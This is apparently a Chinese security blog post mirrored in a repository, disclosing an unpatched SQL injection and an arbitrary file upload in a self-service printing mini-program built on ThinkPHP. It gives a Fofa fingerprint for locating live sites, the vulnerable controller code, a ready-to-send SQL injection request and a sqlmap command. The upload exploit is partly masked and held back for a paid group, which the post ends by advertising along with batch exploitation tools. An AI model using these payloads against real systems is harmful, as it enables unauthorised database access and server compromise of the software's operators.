wxvl/doc/(0day)某全新UI自助打印微信小程序系统SQL+RCE漏洞代码审计.md

261 lines
10 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# (0day)某全新UI自助打印微信小程序系统SQL+RCE漏洞代码审计
原创 Mstir 星悦安全 2024-11-16 04:37
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/lSQtsngIibibSOeF8DNKNAC3a6kgvhmWqvoQdibCCk028HCpd5q1pEeFjIhicyia0IcY7f2G9fpqaUm6ATDQuZZ05yw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
点击上方
蓝字关注我们 并设为
星标
## 0x00 前言
**在数字化时代打印服务的需求与日俱增。为了满足用户的便利需求全新UI的自助打印系统/云打印小程序。**
**全新UI设计采用2024年最新的UI设计风格界面简洁美观用户体验极佳。**
**云打印功能:支持用户通过小程序上传文件并进行云端打印,方便快捷。**
**自助服务:用户可以自主选择打印参数,如打印份数、纸张类型等,实现真正的自助打印。**
**多平台支持:源码支持微信小程序平台,方便用户在移动端进行操作。**
**Fofa指纹:"未登录" && "/admin/login/index.html"**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmpLI5AKHbcMk7tQAXzWfnOhKOg03ACURvxO4qtxdNVjw64VyzpGWU1g/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmLib7MD3jLLyO8DoQ5V8nm7tUW9ibHZ7pVDPfsF9iarOaR3yMpptt4ibIAQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmY5ic29Gia85nW5yUOgz0bLibeV3L4cduZhwbdfZR6DxR6Ot1EmNFjXTDw/640?wx_fmt=png&from=appmsg "")
**框架:ThinkPHP 6.0.2 Debug:True**
## 0x01 前台SQL注入漏洞
**位于 /api/controller/Shop.php 控制器的nearByShop 方法通过传入latitude和longitude 来插入到SQL语句中然后直接通过 Db::query() 进行查询,且未有过滤,导致漏洞产生.**
```
public function nearByShop()
{
$latitude = input('param.latitude', '');
$longitude = input('param.longitude', '');
$sql = <<<EOT
SELECT
a.*,
(
6378.138 * 2 * asin(
sqrt(
pow(
sin(
(
radians( a.lat ) - radians( $latitude)
) / 2
),
2
) + cos( radians( a.lat ) ) * cos( radians( $latitude ) ) * pow(
sin(
(
radians( a.lng ) - radians( $longitude )
) / 2
),
2
)
)
)
) AS distance
FROM
do_shop a
HAVING distance < 300000
ORDER BY
distance
LIMIT 10
EOT;
$data = Db::query($sql);
$printer = [];
if (!empty($data)) {
foreach ($data as $v) {
$shop_ids[] = $v['id'];
}
$where[] = [
'shop_id',
'in',
$shop_ids,
];
$printer = Db::table('do_printer')->where($where)->select();
if (!empty($printer)) {
foreach ($printer as $k => $v) {
$v['business_hours'] = json_decode($v['business_hours'] ?? '[]', true);
//$v['print'] = json_decode($v['print'] ?? '[]', true);
$v['functions'] = json_decode($v['functions'] ?? '[]', true);
foreach ($data as $shop) {
if ($shop['id'] == $v['shop_id']) {
$v['shop_name'] = $shop['name'];
$v['distance'] = intval($shop['distance'] * 1000);
}
}
$printer[$k] = $v;
}
}
}
$return = [
'code' => 0,
'data' => [
'shop' => $data,
'printer' => $printer,
],
];
return json($return);
}
```
**Payload:**
```
POST /api/shop/nearByShop HTTP/1.1
Content-Length: 104
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
latitude=1&longitude=GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),9392)
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmFenCTZdmkuTHmRap2icbhHAOoH2IX2o1anoWjc0u81f6kQCLSyqmzXA/640?wx_fmt=png&from=appmsg "")
**python sqlmap.py -r a.txt --level=3 --dbms=mysql**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmg2pv8vtZg6kicYj53OmOiaddoDlhgibRtExo5HT8luUm3IbTOZxpg4bbg/640?wx_fmt=png&from=appmsg "")
## 0x02 前台任意文件上传漏洞(RCE)
**位于 /xxxx/controller/xxxxx.php 控制器中的file方法通过file()函数获取文件,并通过 putFile() 函数 直接将文件写入到/sxxxxx/ 目录中,然后传入 proxxx=xxxxx 进入该分支即可得到上传文件的地址.**
```
/**
* 处理上传文件.
*
* @return \think\response\Json
*/
public function xxxx()
{
$file = request()->file('file');
$page_type = input('param.page_type', 1, 'intval');
$print_type = input('param.print_type', 1, 'intval');
$filename = input('param.filename', $file->getOriginalName(), 'trim');
$doc_type = input('param.doc_type', 1, 'intval');
$printer_id = input('param.printer_id');
//文件处理流程
/**
* 1.none 不处理
* 2.id_card 身份证:不插入数据库,正反面都上传完成后,用户点击完成时合并图片,保存到打印列表
* 3.c1 1寸照片
* 4.c1x 大1寸照片
* 5.c2
* 6.c2x
* 7.photo.
*/
$process = input('param.process', 'none', 'trim');
try {
$savename = Filesystem::disk('public')->putFile('', $file);
$root = config('filesystem.disks.public.root');
$domain = config('filesystem.disks.public.url');
switch ($process) {
case 'xxx_xxxxx':
$savename = Config::get('filesystem.disks.public.url').'/'.$savename;
$return = [
'code' => 0,
'data' => ['savename' => $savename],
];
} catch (ValidateException $e) {
$return = [
'code' => 1,
'msg' => $e->getMessage(),
];
}
$return['printer_list'] = $this->printerList();
return json($return);
}
```
**Payload:**
```
POST /xxxx/xxxxx/xxxx HTTP/1.1
Host: 127.0.0.1
Content-Length: 298
Cache-Control: max-age=0
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXr8AJ9qGX4nSmcI0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Connection: close
完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!
完整EXP请见文末!完整EXP请见文末!完整EXP请见文末!
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmibBK0pAmbTpErGrhRvG9mvTLEyKE7mWhXHCjmMicmKPibslUYtTr0kvSg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5duuuJAFpJIFYqG1ffXXkRmfKXbmbBSsLzObic4NjzhIYzRveXvwlmnG4vqBXn4aR8QSEic0Z5HoWXw/640?wx_fmt=jpeg "")
## 0x03 纷传圈子介绍
完整审计文章及源码放在纷传圈子里了
**高质量漏洞利用研究代码审计圈子每周至少更新三个0Day/Nday及对应漏洞的批量利用工具团队内部POC源码分享星球不定时更新内外网攻防渗透技巧以及最新学习SRC研究报告等。**
**【圈子权益】**
**1一年至少999+漏洞Poc及对应漏洞批量利用工具**
**2各种漏洞利用工具及后续更新渗透工具、文档资源分享**
**3内部漏洞库情报分享目前已有1700+poc会每日更新包括部分未公开0/1day**
**4加入内部微信群遇到任何技术问题都可以进行快速提问、讨论交流**
**圈子目前价格为40元现在星球有500+位师傅相信并选择加入我们**
****
**网站源码及漏洞库已于11.5日更新**
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/uicic8KPZnD5dO3JY3ibuSzzKb6JXHOsho87AiaLnO5SC57BIhrNmuPRmFKjPehD8FRjZTI1SXD6wEnbSJgujbCbbg/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dPFicRheSpuSsBE8ZFeE6HwYQ7XZx91DUHD6M2jFjo9jwxZEnQs2PaU9jQAvYicVxtcIiaKI2QeRxqA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
****
**圈子内部漏********洞库(日更)**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dO3JY3ibuSzzKb6JXHOsho8GllKEjcqXnSa6OY73aptxTiaibrLiaKrw85bDlFrRjR8aUGrxZKVQBTug/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "")
**每篇文章均有完整指纹和详细POC**
****
**一起愉快地刷分**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5ff43kUoicsmnll86ficaMcTp1nDJvFuhT6INWEyGaCkEEclfEo8Ld6OBOzzJ3BkTVbrfqd41XhAhicA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dPFicRheSpuSsBE8ZFeE6HwwvkuIIecPQwHta0wibQuCqoSTqsc2K1KZDpJb3enDibBiau4EEhxrTYxA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5ff43kUoicsmnll86ficaMcTpt1uZwVAmW8XEscyvU51uc9sdiaHViaJKMEZyiaM4bAaQfGIPNd26u2A5w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**上百套审计源码包括各种协同办公OA**
****
**入圈之后可私信我帮你找源码已开通各大源码站VIP**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5ff43kUoicsmnll86ficaMcTpPGVahCuyNFFdRtlOyjb6Z1dj8LMnibicPickAJZQLpTzoBoUqy9Xun3tg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/uicic8KPZnD5dbasJicXJDEOR85icHkfIda3gg2HpaWjW2MZN9KZdGzX99Ofl7SRETFA4TicFabIO2UGibSONn6bhXQw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**标签:代码审计0day渗透测试系统通用0day闲鱼转转**
**PS:关注公众号,持续更新漏洞文章**
**免责声明:****文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!**